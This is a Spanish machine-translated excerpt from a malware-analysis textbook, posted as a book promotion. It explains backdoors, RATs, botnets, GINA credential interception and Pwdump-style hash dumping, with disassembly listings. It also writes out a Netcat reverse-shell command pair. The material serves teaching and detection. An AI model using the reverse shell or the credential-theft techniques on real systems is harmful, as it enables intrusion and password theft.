El libro "¡Se mostrará una autopsia!" Análisis práctico de malware »

imagen El análisis de malware se asemeja a un juego de gato y ratón: sin reglas, la situación cambia constantemente. Por lo tanto, en este caso, tiene sentido estudiar solo cosas y algoritmos atemporales. Tan pronto como se enfrente a la tarea de proteger la red (o mil redes), comenzará tal análisis, y simplemente no puede prescindir de este libro.

Programas para descargar y ejecutar software


Hay dos tipos de malware que se encuentran con frecuencia diseñados para descargar y ejecutar software. Los descargadores (que no deben confundirse con los descargadores del sistema) simplemente descargan código malicioso adicional de Internet y lo ejecutan en una computadora local. A menudo se distribuyen junto con el exploit. Por lo general, usan dos llamadas a la API de Windows, una tras otra, para descargar y ejecutar malware adicional: URLDownloadtoFileA y WinExec.

Launcher (lanzador) es un archivo ejecutable que instala aplicaciones maliciosas para su ejecución oculta (inmediatamente o después de un tiempo). Los lanzadores a menudo vienen con el software que necesitan para ejecutarse. Los discutiremos en el capítulo 12.

Puertas traseras


Las puertas traseras son programas que proporcionan a un atacante acceso a la computadora de la víctima. Son el tipo de malware más detectable, y su tamaño y conjunto de características pueden variar significativamente. El código de puerta trasera generalmente es autónomo y no requiere descargar archivos infectados adicionales.

Las puertas traseras interactúan a través de Internet de muchas maneras diferentes, pero los datos generalmente se transmiten a través de HTTP a través del puerto 80. HTTP constituye la mayor parte del tráfico de red saliente, lo que le da al malware una gran oportunidad para pasar desapercibido en el contexto de otra información.

En el Capítulo 14, aprenderá a analizar puertas traseras a nivel de paquete, creando firmas de red efectivas. Mientras tanto, nos centraremos en la interacción de alto nivel.
Las puertas traseras vienen con un conjunto estándar de funciones: la capacidad de manipular las claves de registro, contar las ventanas que se muestran, crear directorios, buscar archivos, etc. Para comprender cuáles de estas son utilizadas por la puerta trasera, puede verificar qué funciones API de Windows importa. El Apéndice A proporciona una lista de funciones comunes que describen lo que pueden decir sobre el malware.

Shell de comando inverso


Un shell de comando inverso es una conexión que inicia una computadora infectada, dando acceso de comando a un atacante. Puede ser un programa malicioso separado o uno de los componentes de una puerta trasera más compleja. Mientras está en el shell de comando inverso, un atacante puede ejecutar comandos como si todo esto sucediera en su sistema local.

Netcat Reverse Command Shell


El programa Netcat que discutimos en el Capítulo 3 se puede usar para crear un shell de comandos si lo ejecuta en dos computadoras. Los atacantes a menudo lo usan ellos mismos, así como lo complementan con otro malware.
Para usar Netcat como tal, el sistema remoto debe esperar las conexiones entrantes con el siguiente comando:

nc -l –p 80 

El conmutador -l cambia Netcat al modo de audición y el conmutador -p determina el puerto que se está supervisando. Luego, la computadora de la víctima inicia una conexión saliente y proporciona su shell de comando:

 nc _ip 80 -e cmd.exe 

IP 80 listener es la dirección IP y el puerto del host remoto. La opción -e le permite especificar el programa que se ejecutará cuando se establezca la conexión. Su entrada y salida estándar estarán vinculadas al socket (como verá más adelante, Windows a menudo usa cmd.exe).

Shell inverso de Windows


Los atacantes usan dos implementaciones simples de shell de comando inverso basadas en cmd.exe en Windows: básica y multiproceso.

El método básico es popular entre los autores de malware, ya que es más fácil de implementar y generalmente no funciona peor que un enfoque de subprocesos múltiples. Se basa en llamar a CreateProcess y cambiar la estructura STARTUPINFO que se le pasa. Primero, se crea un socket y se establece una conexión con el servidor remoto. Luego, este socket se conecta a los subprocesos estándar (flujo de entrada, salida y error) del proceso cmd.exe. CreateProcess ejecuta cmd.exe en modo sin ventanas para ocultarlo de la víctima. El capítulo 7 da un ejemplo de esta técnica.

Una versión multiproceso del shell de comando inverso de Windows implica crear un socket, dos canales y dos hilos (por lo tanto, debe buscar las llamadas CreateThread y CreatePipe). Los autores de malware a veces utilizan este método como parte de una estrategia para modificar o codificar datos transmitidos a través de un socket. La función CreatePipe se puede usar para enlazar los extremos de lectura y escritura del canal, como la entrada estándar (stdin) y la salida estándar (stdout). La función CreateProcess le permite enlazar hilos estándar a un canal y no directamente a un socket. Después de que se lo llame, el malware creará dos hilos de ejecución: uno para leer desde el canal estándar y escribir en el zócalo, y el otro para leer desde el zócalo y escribir en el canal estándar. Típicamente, estos hilos son datos de codificación, que discutiremos en el Capítulo 13. Usando métodos de ingeniería inversa, puede examinar las ramas en las que los flujos decodifican los paquetes recibidos durante una sesión cifrada.

Herramientas de administración remota


Las herramientas de administración remota (RAT) se utilizan para controlar una computadora o computadoras a través de una red. A menudo están involucrados en ataques estrechamente dirigidos, por ejemplo, cuando roban información o se mueven de una computadora a otra.

En la fig. 11.1 muestra la estructura de red de la RAT. El servidor que se ejecuta en el sistema de la víctima está equipado con un código malicioso. El cliente trabaja de forma remota porque el módulo de control está a disposición del atacante. Los servidores le indican al cliente que los controla que inicie la conexión. El interfuncionamiento en RAT generalmente ocurre a través de puertos estándar, como 80 o 443.

imagen

Botnets


Una botnet es una colección de nodos de red infectados (zombies) que se gestionan de forma centralizada, generalmente utilizando un servidor llamado controlador de botnet. El objetivo de la botnet es infectar tantas computadoras como sea posible y crear una red a gran escala basada en ellas, que se pueda usar tanto para propagar otro malware o spam como para realizar ataques DDoS (denegación de servicio distribuida). ) Si todos los zombies al mismo tiempo comienzan a atacar un sitio determinado, puede que sea inaccesible.

Comparación de RAT y botnets


Existen varias diferencias importantes entre las botnets y las herramientas de administración remota.

  • Se sabe que las botnets infectan y controlan millones de nodos. Las RAT generalmente son ejecutadas por muchas menos computadoras.
  • Todos los participantes de la botnet se gestionan simultáneamente. RAT le permite distribuir recursos entre diferentes víctimas, porque un atacante tiene la capacidad de interactuar más estrechamente con los sistemas infectados.
  • Las RAT se usan en ataques con objetivos específicos, mientras que las botnets son notables por sus números masivos.

Robo de credenciales


Los atacantes a menudo recurren a todo tipo de trucos para robar credenciales. Esto es especialmente cierto para los tres tipos de malware.

  • Programas que roban credenciales de usuario en el momento en que inicia sesión en el sistema.
  • Programas que copian información almacenada en Windows (contraseñas, hashes, etc.) para uso directo o descifrado posterior.
  • Programas que graban pulsaciones de teclas.

En esta sección, analizamos cada uno de estos tipos de malware.

Intercepción GINA


Windows XP utiliza un truco para robar credenciales, que consiste en interceptar GINA (identificación gráfica y autenticación). El sistema GINA se creó para permitir que las aplicaciones de terceros adapten el proceso de inicio de sesión por sí mismos, agregando soporte para tecnologías como la identificación por radiofrecuencia (RFID) basada en tokens o tarjetas inteligentes. Los autores de malware aprovechan esta oportunidad para descargar código que roba credenciales.

GINA se implementa como un archivo DLL llamado msgina.dll y Winlogon lo carga durante el inicio de sesión. Winlogon también admite complementos de terceros, cargándolos frente a la DLL de GINA (como en un ataque intermedio). Para su comodidad, Windows proporciona la siguiente rama de registro, donde Winlogon puede encontrar y cargar archivos DLL de terceros:

 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL 

Una vez que encontramos un archivo fsgina.dll infectado allí, que resultó ser un interceptor GINA.
En la fig. La Figura 11.2 muestra un ejemplo de cómo la información de inicio de sesión llega a una biblioteca maliciosa, pasando de Winlogon a msgina.dll. El malware (fsgina.dll) logra interceptar todas las credenciales que el usuario ingresa durante la autenticación. Puede escribirlo en el disco o transferirlo a través de la red.

imagen

Dado que la biblioteca fsgina.dll intercepta el flujo de interacción entre Winlogon y GINA, debe pasarlo más a msgina.dll para que el sistema continúe funcionando normalmente. Para hacer esto, el malware tiene que exportar todas las funciones que requiere el sistema GINA: hay más de 15 y la mayoría de ellas tienen el prefijo Wlx. Obviamente, si encuentra en la DLL muchas funciones de exportación que comienzan con Wlx, lo más probable es que pueda suponer que se trata de un interceptor GINA.

La mayoría de estas llamadas de exportación acceden a funciones reales dentro de msgina.dll. En el caso de fsgina.dll, esto se aplica a todas las funciones excepto WlxLoggedOutSAS. El listado 11.1 muestra la exportación de WlxLoggedOutSAS a fsgina.dll.

Listado 11.1. Función de exportación WlxLoggedOutSAS en la DLL de GINA que registra las credenciales robadas

 100014A0 WlxLoggedOutSAS 100014A0 push esi 100014A1 push edi 100014A2 push offset aWlxloggedout_0 ; "WlxLoggedOutSAS" 100014A7 call Call_msgina_dll_function (1) ... 100014FB push eax ; Args 100014FC push offset aUSDSPSOpS ;"U: %s D: %s P: %s OP: %s" 10001501 push offset aDRIVERS ; "drivers\tcpudp.sys" 10001503 call Log_To_File (2) 

La información de credenciales se transfiere inmediatamente al archivo msgina.dll mediante una llamada designada como Call_msgina_dll_function (1). Esta función localiza e inicia dinámicamente la llamada WlxLoggedOutSAS desde msgina.dll, que se especifica como argumento. Una llamada en línea (2) registra datos. Como argumentos, toma información contable, una cadena de formato con la que se mostrará esta información y un nombre de archivo para la grabación. Como resultado, la información sobre cualquier inicio de sesión exitoso se guarda en el archivo% SystemRoot% \ system32 \ drivers \ tcpudp.sys. Este archivo contiene el nombre de usuario, el dominio y dos contraseñas: la actual y la anterior.

Guardar hashes


El software malicioso en Windows a menudo guarda los hashes del sistema para obtener acceso a las credenciales. Después de guardar, los atacantes intentan descifrar estos hash fuera de línea o usarlos para atacar como pasar el hash. Durante este ataque, los hashes LM y NTLM se utilizan para la autenticación remota NTLM, que no requiere descifrado ni la obtención de la contraseña correspondiente.

Para guardar los hash, hay paquetes de software Pwdump y Pass-the-Hash (PSH) que son gratuitos. Dado que ambas herramientas son de código abierto, se ha creado una gran cantidad de malware sobre la base.

La mayoría de los antivirus tienen firmas para las versiones compiladas estándar de estas utilidades, por lo que los atacantes a menudo intentan compilar sus propias variaciones para evitar su detección. Los ejemplos en este capítulo son los tipos de pwdump y PSH que hemos encontrado en la vida real.

Pwdump es un conjunto de programas que generan hashes en formato LM i NTLM que pertenecen a usuarios locales desde el administrador de cuentas de seguridad (SAM). Pwdump inyecta la DLL en el proceso LSASS (servicio de subsistema de autoridad de seguridad local), mejor conocido como lsass.exe. Discutiremos la implementación de las DLL en el capítulo 12, pero por ahora, solo necesita saber que esta es una técnica a través de la cual el malware ejecuta bibliotecas dentro de otros procesos, utilizando todos sus privilegios. Las herramientas para guardar hashes a menudo atacan el proceso lsass.exe porque tiene suficientes privilegios y acceso a muchas funciones API útiles.

La versión estándar de Pwdump usa la biblioteca lsaext.dll. Cuando se inyecta en lsass.exe, llama a la función GetHash, que se exporta desde lsaext.dll para recuperar los hashes. En este caso, se utilizan funciones de Windows no documentadas, que le permitirán obtener los números de serie de todos los usuarios en el sistema y los hashes no cifrados de la contraseña para cada uno de ellos.

Frente a la variación de Pwdump, debe analizar sus bibliotecas para comprender cómo se guardan los hashes. Lo primero que debe prestar atención a las funciones de exportación. La llamada GetHash se exporta desde Pwdump de forma predeterminada, pero los atacantes pueden cambiar fácilmente su nombre para que sea menos reconocible. Entonces debe intentar determinar las funciones que se utilizan en las llamadas de exportación. Muchos de ellos pueden ubicarse dinámicamente; por lo tanto, las llamadas de exportación a menudo reutilizan la operación GetProcAddress.

El listado 11.2 muestra el código de la función de exportación GrabHash de la DLL de una versión de Pwdump. Dado que la biblioteca está incrustada en lsass.exe, antes de usar muchos caracteres, primero debe encontrarlos en modo manual.

Listado 11.2. Llamadas API únicas utilizadas por la función de exportación GrabHash en una de las variantes de Pwdump

 1000123F push offset LibFileName ; "samsrv.dll" (1) 10001244 call esi ; LoadLibraryA 10001248 push offset aAdvapi32_dll_0 ; "advapi32.dll" (2) ... 10001251 call esi ; LoadLibraryA ... 1000125B push offset ProcName ; "SamIConnect" 10001260 push ebx ; hModule 10001265 call esi ; GetProcAddress ... 10001281 push offset aSamrqu ; "SamrQueryInformationUser" 10001286 push ebx ; hModule 1000128C call esi ; GetProcAddress ... 100012C2 push offset aSamigetpriv ; "SamIGetPrivateData" 100012C7 push ebx ; hModule 100012CD call esi ; GetProcAddress ... 100012CF push offset aSystemfuncti ; "SystemFunction025" (3) 100012D4 push edi ; hModule 100012DA call esi ; GetProcAddress 100012DC push offset aSystemfuni_0 ; "SystemFunction027" (4) 100012E1 push edi ; hModule 100012E7 call esi ; GetProcAddress 

El listado 11.2 muestra el código para recuperar los descriptores de la biblioteca samsrv.dll (1) y advapi32.dll (2) llamando a LoadLibrary. El archivo samsrv.dll contiene una API para facilitar el acceso a SAM, y se encontró que el archivo advapi32.dll tenía acceso a funciones que no se importaron a lsass.exe. La biblioteca dinámica de esta variación Pwdump utiliza los descriptores de estas bibliotecas para buscar muchas funciones. Los cinco más importantes se muestran en la lista (tenga en cuenta las llamadas GetProcAddress y sus argumentos).

Las llamadas interesantes como SamIConnect, SamrQueryInformationUser y SamIGetPrivateData se importan de samsrv.dll. La llamada SamIConnect se utiliza posteriormente para conectarse a SAM, después de lo cual se llama a la función SamrQueryInformationUser para cada usuario en el sistema.

Los hashes se recuperan usando la llamada SamIGetPrivateData, y luego se descifran usando las funciones SystemFunction025 y SystemFunction027 importadas de advapi32.dll (líneas (2) y (3)). Ninguna de las funciones API en este listado se describe en la documentación oficial.

El Kit de herramientas de PSH contiene programas que crean volcados de hash. El más popular de estos vertederos se conoce como whosthere-alt. Almacena el contenido SAM obtenido incrustando la DLL en lsass.exe. Al mismo tiempo, en comparación con Pwdump, se utiliza un conjunto completamente diferente de funciones API. El listado 11.3 muestra el código de versión de whosthere-alt, que exporta una función llamada TestDump.

Listado 11.3. Llamadas API únicas utilizadas por la función de exportación TestDump de la versión alternativa

 10001119 push offset LibFileName ; "secur32.dll" 1000111E call ds:LoadLibraryA 10001130 push offset ProcName ; "LsaEnumerateLogonSessions" 10001135 push esi ; hModule 10001136 call ds:GetProcAddress (1) ... 10001670 call ds:GetSystemDirectoryA 10001676 mov edi, offset aMsv1_0_dll ; \\msv1_0.dll ... 100016A6 push eax ; path to msv1_0.dll 100016A9 call ds:GetModuleHandleA (2) 

Como esta biblioteca está integrada en lsass.exe, su función TestDump crea un volcado de hash. Carga dinámicamente el archivo secur32.dll y encuentra la llamada LsaEnumerateLogonSessions (1) en él para obtener una lista de identificadores únicos locales (LUID). Esta lista contiene los nombres y dominios que se indicaron en cada inicio de sesión. La biblioteca los revisa para acceder a la información contable. Para hacer esto, utilizando una llamada a GetModuleHandle (2), busca dentro de msv1_0.dll una función no exportada, NlpGetPrimaryCredential, que permite el volcado de hashes NT y LM.

Sobre los autores


Michael Sikorski es especialista en seguridad en Mandiant. Está involucrado en el análisis de malware como parte de una investigación de incidentes y es consultor del gobierno de los EE. UU. Para la seguridad de la información. Michael ha desarrollado una serie de cursos de análisis de malware y los enseña a una audiencia diversa, incluidos el FBI y Black Hat. Antes de Mandiant, era empleado del Laboratorio Lincoln en el Instituto de Tecnología de Massachusetts y realizó investigaciones sobre topología de red pasiva y pruebas de penetración. Además, Michael completó un programa de capacitación interdisciplinaria de tres años sobre sistemas y redes en la NSA. Durante el entrenamiento, participó en el estudio de técnicas de ingeniería inversa y recibió varios premios en el campo del análisis de redes.

Andrew Honig es un experto en seguridad de la información en el Departamento de Defensa de los Estados Unidos. Enseña análisis de software, ingeniería inversa y programación para el sistema operativo (OS) de Windows en la Escuela Nacional de Criptografía, mientras es un especialista certificado en seguridad de sistemas de información. Debido a Andrew, varios exploits de día cero para la virtualización de VMware, así como herramientas para detectar malware innovador, incluidos los módulos de kernel infectados. Con diez años de experiencia como analista en el campo de la seguridad informática, es considerado un experto en el análisis e interpretación de programas maliciosos y ordinarios.

»Se puede encontrar más información sobre el libro en el sitio web del editor
» Contenidos
» Extracto

Para Khabrozhiteley, un descuento del 20% en el cupón: una autopsia mostrará

Source: https://habr.com/ru/post/es416143/


All Articles